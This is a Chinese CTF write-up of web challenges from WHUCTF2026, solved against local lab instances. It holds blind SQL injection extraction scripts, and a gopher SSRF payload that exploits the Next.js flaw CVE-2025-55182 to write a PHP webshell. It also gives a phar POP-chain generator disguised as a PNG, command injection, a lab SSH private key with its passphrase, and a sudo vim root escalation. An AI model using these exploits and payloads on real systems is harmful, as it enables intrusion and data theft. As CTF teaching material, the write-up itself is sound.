0%

WHUCTF2026校赛

WHUCTF2026校赛

比赛也是结束了,感谢队友带飞,虽然没能进前三(其实是我我拖后腿了QWQ),但是好歹我们也是拿过一个小时第一的哈哈哈

webwp如下

注注need

​ 登录界面发现存在,密码错误和用户名不存在为页面回显区别的布尔盲注,随后编写脚本爆破数据库名ctf_challenge,表名password继续爆破得到admin登录密码

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

url = "http://127.0.0.1:59913/login"


def inject(payload):
# 构造请求数据,假设注入点在用户名
data = {
"username": f"admin'/**/and/**/{processed_payload}#",
"password": "any_password"
}

try:
response = requests.post(url, data=data)
# 根据你的测试,回显“密码错误”表示 SQL 逻辑成立
if "密码错误" in response.text:
return True
else:
return False
except Exception as e:
print(f"请求出错: {e}")
return False


def get_database_name():
db_name = ""
print("[*] 开始爆破数据库名...")

# 假设数据库名长度不超过 20
for i in range(1, 21):
found = False
# 遍历可见 ASCII 字符范围 (32-126)
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
# 构造 SQL: ascii(substr(database(), i, 1)) > mid
payload = f"ascii(substr(database(),{i},1))>{mid}"
if inject(payload):
low = mid + 1
else:
high = mid - 1

char = chr(low)
if low == 32 or low > 126: # 如果没找到或结束了
break
db_name += char
print(f"[+] 正在提取: {db_name}")

return db_name


if __name__ == "__main__":
name = get_database_name()
print(f"\n[!] 最终爆破结果: {name}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests

# 配置目标 URL
url = "http://127.0.0.1:51531/login"


def inject(payload):
# 依然保留 /**/ 绕过空格,这是为了保险
processed_payload = payload.replace(" ", "/**/")
data = {
"username": f"admin'/**/and/**/{processed_payload}#",
"password": "any_password"
}
try:
response = requests.post(url, data=data)
# 只要逻辑成立,回显“密码错误”
return "密码错误" in response.text
except:
return False


def get_columns():
columns = []
print("[*] 开始爆破 users 表的列名...")

# 外层循环:爆破第几个列
for col_idx in range(0, 10):
column_name = ""
# 内层循环:爆破列名的每一个字符
for char_idx in range(1, 31):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
# 标准字符匹配:table_name='users' 且 table_schema='ctf_challenge'
# 注意:Python 字符串里嵌套单引号要小心,这里用了 f-string 和不同引号
payload = f"ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='ctf_challenge' limit {col_idx},1),{char_idx},1))>{mid}"

if inject(payload):
low = mid + 1
else:
high = mid - 1

char = chr(low)
# 如果爆破出来是空字符或不可见字符,说明这一列的名字跑完了
if low <= 32 or low > 126:
break

column_name += char
print(f"[+] 正在提取第 {col_idx + 1} 列: {column_name}", end='\r')

if column_name == "":
print(f"\n[*] 列名提取完毕,共找到 {len(columns)} 个字段。")
break

columns.append(column_name)
print(f"\n[!] 发现列名: {column_name}")

return columns


if __name__ == "__main__":
cols = get_columns()
print(f"\n[!] 最终列名结果: {cols}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

import requests

# 配置目标 URL
url = "http://127.0.0.1:59913/login"


def inject(payload):
# 复用你的逻辑:空格转 /**/ 绕过
processed_payload = payload.replace(" ", "/**/")
data = {
"username": f"admin'/**/and/**/{processed_payload}#",
"password": "any_password"
}
try:
response = requests.post(url, data=data)
return "密码错误" in response.text
except Exception as e:
print(f"请求出错: {e}")
return False


def get_tables():
tables = []
database_name = "ctf_challenge" # 你刚才爆破出来的结果
print(f"[*] 开始爆破数据库 [{database_name}] 中的表名...")

# 假设最多有 10 张表
for table_idx in range(0, 10):
table_name = ""
# 假设每个表名长度不超过 30
for char_idx in range(1, 31):
low = 32
high = 126
found_char = False

while low <= high:
mid = (low + high) // 2
# 核心 SQL 逻辑:从 information_schema.tables 中按索引取表名
payload = f"ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_idx},1),{char_idx},1))>{mid}"

if inject(payload):
low = mid + 1
else:
high = mid - 1

char = chr(low)
# 如果爆破出 的 字符不在可见范 围内,说明当前表名提取结束
if low <= 32 or low > 126:
break

table_name += char
print(f"[+] 正在提取第 {table_idx + 1} 张表: {table_name}", end='\r')

if table_name == "":
print(f"\n[*] 所有表名提取完毕,共找到 {len(tables)} 张表。")
break

tables.append(table_name)
print(f"\n[!] 发现表: {table_name}")

return tables


if __name__ == "__main__":
table_list = get_tables()
print(f"\n[!] 最终表名列表: {table_list}")


Hell City

根据提示使用ssrf + gopher协议 + CVE-2025-55182原型链污染rce + 回显写入地址(/var/www/html)

输入http://127.0.0.1以及看到的/api/health可以看到一些靶机的信息,确认了存在漏洞的 Next.js 服务运行在内网的 80 端口,且处于 Docker 容器环境中

了解了一下这个漏洞https://keenlab.tencent.com/zh/2025/12/08/2025-CVE-2025-55182/ 就是说当 Next.js 处理 Server Action 的 multipart/form-data 请求时,会使用 React Flight 协议解析数据,就可以通过构造 ["$1:__proto__:then"] 这样的路径,攻击者可以沿着 JavaScript 的原型链向上遍历攻击者利用这个特性,劫持了 Chunk.prototype.then(控制流引擎)和 Chunk.constructor.constructor最终,当 React 引擎尝试解析一个特定的 Blob 引用(如 $B1337)时,会将恶意的 Payload 字符串传入 Function(...) 中执行,完成 RCE(博客里面说的)

OK现在就可以构造payload了

RCE部分的payload

1
2
3
4
5
6
let res = arguments[0]; 
let rej = arguments[1];
import("fs").then(fs => {
fs.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\"a\"]); ?>");
res("pwned");
}).catch(rej); //

相当于执行

1
Function('let res = arguments[0]; let rej = arguments[1]; import("fs").then(fs => { fs.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\\"a\\"]); ?>"); res("pwned"); }).catch(rej); //4919')

然后这个生成的匿名函数被赋值给了 chunk.valuethen 属性。 此时,chunk.value 变成了一个包含恶意 then 方法的对象

然后再用脚本生成完整的gopher payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import json
import urllib.parse

def generate_exploit():
js_code = 'let r=arguments[0]; import("fs").then(f=>{f.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\\"a\\"]); ?>"); r();}).catch(arguments[1]); //'

chunk_0 = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": js_code,
"_formData": { "get": "$1:constructor:constructor" }
}
}

boundary = "----WebKitFormBoundaryCTFExploit"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f'{json.dumps(chunk_0, separators=(",", ":"))}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"--{boundary}--\r\n"
)

http_request = (
f"POST / HTTP/1.1\r\n"
f"Host: 127.0.0.1\r\n"
f"Next-Action: ctf_exploit\r\n"
f"Accept: text/x-component\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body.encode('utf-8'))}\r\n"
f"Connection: close\r\n\r\n"
f"{body}"
)

return f"gopher://127.0.0.1:80/_{urllib.parse.quote(http_request)}"

print(generate_exploit())

得到

1
2
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0ANext-Action%3A%20ctf_exploit%0D%0AAccept%3A%20text/x-component%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundaryCTFExploit%0D%0AContent-Length%3A%20537%0D%0AConnection%3A%20close%0D%0A%0D%0A------WebKitFormBoundaryCTFExploit%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%220%22%0D%0A%0D%0A%7B%22then%22%3A%22%241%3A__proto__%3Athen%22%2C%22status%22%3A%22resolved_model%22%2C%22reason%22%3A-1%2C%22value%22%3A%22%7B%5C%22then%5C%22%3A%5C%22%24B1337%5C%22%7D%22%2C%22_response%22%3A%7B%22_prefix%22%3A%22let%20r%3Darguments%5B0%5D%3B%20import%28%5C%22fs%5C%22%29.then%28f%3D%3E%7Bf.writeFileSync%28%5C%22/var/www/html/a.php%5C%22%2C%20%5C%22%3C%3Fphp%20system%28%24_GET%5B%5C%5C%5C%22a%5C%5C%5C%22%5D%29%3B%20%3F%3E%5C%22%29%3B%20r%28%29%3B%7D%29.catch%28arguments%5B1%5D%29%3B%20//%22%2C%22_formData%22%3A%7B%22get%22%3A%22%241%3Aconstructor%3Aconstructor%22%7D%7D%7D%0D%0A------WebKitFormBoundaryCTFExploit%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%221%22%0D%0A%0D%0A%22%24%400%22%0D%0A------WebKitFormBoundaryCTFExploit--%0D%0A

发送之后a.php木马已经写入

访问网页后的/a.php并写入指令cat /flag得到flag

世界上最好的大象

首先看上传图片的限制

  1. 后缀校验:必须是 .png 等图片后缀。

  2. **头校验 **:文件前 8 字节必须包含 \x89PNG

  3. 尾校验 :文件最后 32 个字节内必须包含 PNG 的结束符 IEND\xAE\x42\x60\x82

这个好说

再看看class.php里面的函数调用链

__destructVisitor 类在脚本结束销毁时,会 echo $this->bio;,把属性当成字符串处理

然后 __toString:触发 ShowCard 类的 __toString,内部执行 $resolver();,把对象当成函数调用

__invoke:触发 LabelResolver 类的 __invoke,内部执行 return $this->entry->{$this->field};,访问对象不存在的属性

(__get):触发 CacheEntry 类的 __get,内部执行 $this->driver->{$this->method}();,调用对象不存在的方法

(__call -> eval):触发 TemplateEngine 类的 __call,最终执行 eval($this->shell);

最后eval()还有过滤所有数字和字母,这个可以直接用通配符读出所有文件就可以类似

1
$payload = "?><?= `/???/??? /????`;"

然后在本地服务器上写一个生成木马图片的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// 1. 还原漏洞环境中的类结构
class Visitor { public $bio; }
class ShowCard { public $source; }
class LabelResolver { public $entry; public $field = 'label'; }
class CacheEntry { public $driver; public $cacheKey = ''; public $method = 'render'; }
class TemplateEngine { public $shell = ''; }

// 2. 构造无字母数字的系统命令盲读 Payload
// 对应执行:/bin/cat /init /flag /sbin /boot ...
$payload = "?><?= `/???/??? /????`;";

// 3. 按照逆向推导顺序组装 POP 链
$engine = new TemplateEngine();
$engine->shell = $payload;

$cache = new CacheEntry();
$cache->driver = $engine;
$cache->method = "any_method_not_exists";

$label = new LabelResolver();
$label->entry = $cache;
$label->field = "any_property";

$card = new ShowCard();
$card->source = $label;

$visitor = new Visitor();
$visitor->bio = $card;

// 4. 生成符合 PNG 规范的无损 Phar 文件
@unlink("payload.phar");
$phar = new Phar("payload.phar");
$phar->startBuffering();

// [魔数绕过] 设置头部为 PNG 特征
$phar->setStub("\x89PNG\r\n\x1a\n<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($visitor);

// [尾部绕过] 将 IEND 藏入文件实体内容
$phar->addFromString("test.txt", "IEND\xAE\x42\x60\x82");

// [签名修复] 强制改为 MD5 签名,使 IEND 精准落入倒数 32 字节检测窗口
$phar->setSignatureAlgorithm(Phar::MD5);

$phar->stopBuffering();

// 5. [后缀绕过] 伪装成 png 文件
rename("payload.phar", "payload.png");
echo "Payload 生成成功:payload.png\n";
?>

然后上传通过phar协议读取文件图片马,会发现果然后台返回了一堆乱码,读到了一些二进制文件,里面同时也有flag

啃臭加U查看源码翻到末尾发现flag

It’s myrOOt!!!!

首先在execute 尝试 | ls -a 没想到直接执行了
得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.
..
.dockerenv
bin
boot
config
dev
entrypoint.sh
etc
frontend
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

发现启动脚本entrypoint.sh打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/bin/bash
set -euo pipefail

FLAG_PATH="/root/flag.txt"
MYSQL_SOCKET="/run/mysqld/mysqld.sock"
MYSQL_DATABASE="${MYSQL_DATABASE:-blog}"
MYSQL_USER="${MYSQL_USER:-web_user}"
MYSQL_PASSWORD="${MYSQL_PASSWORD:-web_pass}"
JUMP_KEY_PATH="/opt/pentest/runtime/jumpuser_ed25519"
JUMP_NOTE_PATH="/home/jumpuser/note.txt"

write_flag() {
local flag_value

flag_value="${GZCTF_FLAG:-flag{demo_dynamic_flag}}"
printf '%s\n' "$flag_value" > "$FLAG_PATH"
chown root:root "$FLAG_PATH"
chmod 0600 "$FLAG_PATH"
unset GZCTF_FLAG || true
}

ensure_jump_material() {
local passphrase

if [ ! -f "$JUMP_KEY_PATH" ]; then
passphrase="$(pwgen -s 18 1)"
ssh-keygen -q -t ed25519 -N "$passphrase" -C "jumpuser@jumpbox" -f "$JUMP_KEY_PATH"
printf '%s' "$passphrase" > /opt/pentest/runtime/jumpuser_passphrase
fi

install -d -m 0700 -o jumpuser -g jumpuser /home/jumpuser/.ssh
install -m 0600 -o jumpuser -g jumpuser "$JUMP_KEY_PATH.pub" /home/jumpuser/.ssh/authorized_keys
install -m 0644 -o jumpuser -g jumpuser /opt/pentest/note.txt "$JUMP_NOTE_PATH"
passwd -d jumpuser >/dev/null 2>&1 || true
}

init_mysql_data_dir() {
if [ ! -d /var/lib/mysql/mysql ]; then
mariadb-install-db --user=mysql --datadir=/var/lib/mysql >/tmp/mysql-install.log 2>&1
fi
}

start_mysql() {
gosu mysql mariadbd \
--bind-address=127.0.0.1 \
--socket="$MYSQL_SOCKET" \
--datadir=/var/lib/mysql \
--pid-file=/run/mysqld/mysqld.pid \
>/tmp/mariadb.log 2>&1 &

while ! mysqladmin --socket="$MYSQL_SOCKET" ping >/dev/null 2>&1; do
sleep 1
done
}

seed_mysql() {
local escaped_key
local passphrase
local note

passphrase="$(cat /opt/pentest/runtime/jumpuser_passphrase)"
escaped_key="$(sed ':a;N;$!ba;s/\n/\\n/g' "$JUMP_KEY_PATH")"
note="old backup note: key passphrase: ${passphrase}; local ssh port moved to 2222"

sed \
-e "s|__MYSQL_DATABASE__|${MYSQL_DATABASE}|g" \
-e "s|__MYSQL_USER__|${MYSQL_USER}|g" \
-e "s|__MYSQL_PASSWORD__|${MYSQL_PASSWORD}|g" \
-e "s|__PRIVATE_KEY__|${escaped_key}|g" \
-e "s|__KEY_NOTE__|${note}|g" \
/opt/pentest/mysql/schema.sql.template > /opt/pentest/runtime/schema.sql
//发现秘钥保存路径

mysql --socket="$MYSQL_SOCKET" < /opt/pentest/runtime/schema.sql
}

start_sshd() {
ssh-keygen -A >/dev/null 2>&1 || true
/usr/sbin/sshd
}

prepare_runtime() {
chmod 1777 /tmp
install -d -m 0755 -o root -g root /opt/pentest/runtime
if [ ! -f /opt/pentest/maintenance/README.md ]; then
printf 'root maintenance only\n' > /opt/pentest/maintenance/README.md
chown root:root /opt/pentest/maintenance/README.md
chmod 0644 /opt/pentest/maintenance/README.md
fi
}

start_olivetin() {
exec gosu olivetin /usr/bin/OliveTin
}

write_flag
prepare_runtime
ensure_jump_material
init_mysql_data_dir
start_mysql
seed_mysql
start_sshd
start_olivetin

flag在root里面肯定看不了,local ssh port moved to 2222 且端口转移到2222

然后分析脚本使用 pwgen 生成了一个随机密码,并用它创建了一对 SSH 密钥 (jumpuser_ed25519)

这个公钥被放到了 jumpuser.ssh/authorized_keys 中,这意味着如果我们拿到私钥,就可以 SSH 登录到这个账户

接下来就读取啊数据库中的私钥密码| cat /opt/pentest/mysql/schema.sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
CREATE DATABASE IF NOT EXISTS blog;
CREATE USER IF NOT EXISTS 'web_user'@'localhost' IDENTIFIED BY 'web_pass';
CREATE USER IF NOT EXISTS 'web_user'@'127.0.0.1' IDENTIFIED BY 'web_pass';
GRANT ALL PRIVILEGES ON blog.* TO 'web_user'@'localhost';
GRANT ALL PRIVILEGES ON blog.* TO 'web_user'@'127.0.0.1';
FLUSH PRIVILEGES;

USE blog;

CREATE TABLE IF NOT EXISTS ssh_keys (
id INT PRIMARY KEY AUTO_INCREMENT,
owner VARCHAR(50) NOT NULL,
private_key TEXT NOT NULL,
note VARCHAR(255) DEFAULT NULL
);

DELETE FROM ssh_keys WHERE owner = 'jumpuser';
INSERT INTO ssh_keys (owner, private_key, note) VALUES
('jumpuser', '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABD5key0IV
7XKe8Zj1oQ7fYIAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIAWFA86ISeT73va4
WikXfLUHdkx+LvqX5CiU3tbUvXM5AAAAoL/wL70uLKySUSvwilFtWPqNIL8vPs0w7am5wU
6npg/wN7bis/qu4gEsvEWEcsGPKvaP3vSb5+ZunPKfxDBeN9Mq+C47NSgVi2d4EPEq/R4J
SOPa6JJf6PjkxaJthL3wUc+9kHylSBnBv4FSFjxBQn1ELt47IqPanHJ5UxA/qU+G+Nwg3P
QBsSejsvtc5b1JQ2Gj35zWhCzHwmz8mxXYSEM=
--

因为这个页面是只有输出的没有交互,直接执行 ssh 会因为无法手动输入私钥密码而失败,可以在本地创建一个自动输入的脚本,端口也改为2222
payload如下:把密钥密码写入并且执行身份跳转指令

1
2
3
4
5
| printf '%b\n' '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCLU0O7w6\nEqtEmfMIvx3JkwAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIAUcgdXePb0Tv90i\nrb8rV/m3zK8BManCZ6/CTlzN0J9fAAAAoGqynJtiiL60/iNV1LnfWw3NGB3taBJwrM81Sr\nPaV7DnxZihYmx3gYkONl+uVQKJ6VVJUh/H+xw1LHVFOdNPvJ0NVAgaLK2a+4kQGZQR96N0\nI17IuSGGqh1i61GHfn0wAnwXLD9qR5+gnDkLThydkrFfzsbP/rjoxuXUTkaevfV2Nsm+Ir\n6UI2TgBuuXTedjm02DIbBB2PIJABHAANP+Vpc=\n-----END OPENSSH PRIVATE KEY-----' > /tmp/my_key; 
chmod 600 /tmp/my_key;
printf '#!/bin/sh\necho h0GQGA3cRf9Djseg7T\n' > /tmp/pwd.sh;
chmod +x /tmp/pwd.sh;
SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "id; cat /home/jumpuser/note.txt; sudo -l" </dev/null

然后成功转移到jumpuser用户提权

然后直接读取root里面的flag.txt

1
| SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "echo ':!cat /root/flag.txt > /tmp/rflag' > /tmp/v.txt; echo '' >> /tmp/v.txt; echo ':q!' >> /tmp/v.txt; echo '' >> /tmp/v.txt; cat /tmp/v.txt | sudo /usr/bin/vim /opt/pentest/maintenance/README.md; cat /tmp/rflag" </dev/null

发现报错信息为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signal: killed



Vim: Warning: Output is not to a terminal

Vim: Warning: Input is not from a terminal



E558: Terminal entry not found in terminfo

'unknown' not known. Available builtin terminals are:

builtin_ansi

builtin_xterm

builtin_iris-ansi

builtin_dumb

defaulting to 'ansi'

OliveTin::timeout - this action timed out after 3 seconds. If you need more me for this action, set a longer timeout. See https://docs.olivetin.app/acti_customization/timeouts.html for more help.

问下ai: ‘’Vim 是一个交互式编辑器。当我们强行用管道 | 把命令喂给它时,它发现没有一个真正的终端(TTY)可以绘图和接收实时键盘输入,于是报了 Warning: Input is not from a terminalE558 终端类型错误。看最后一行 OliveTin::timeout - this action timed out after 3 seconds。由于 Vim 因为没有终端卡在那里等待输入,整个进程悬停了,3秒后被 OliveTin 的安全机制强制杀死’’

最终payload,加入printf模拟vim写入操作,强制分配 PTY,并且将所有输出重定向到日志文件,并将整个 SSH 进程挂到后台,然后把控制权还给 OliveTin避免超时

1
| printf ":!cat /root/flag.txt > /tmp/rflag; chmod 777 /tmp/rflag\n\n:q!\n" | SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -tt -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "TERM=xterm sudo /usr/bin/vim /opt/pentest/maintenance/README.md" > /tmp/vim_attack.log 2>&1 & echo "Attack launched in background! Please wait 2 seconds."

最后输入 | cat /tmp/rflag得到flag

-------------到底咯QAQ嘎嘎-------------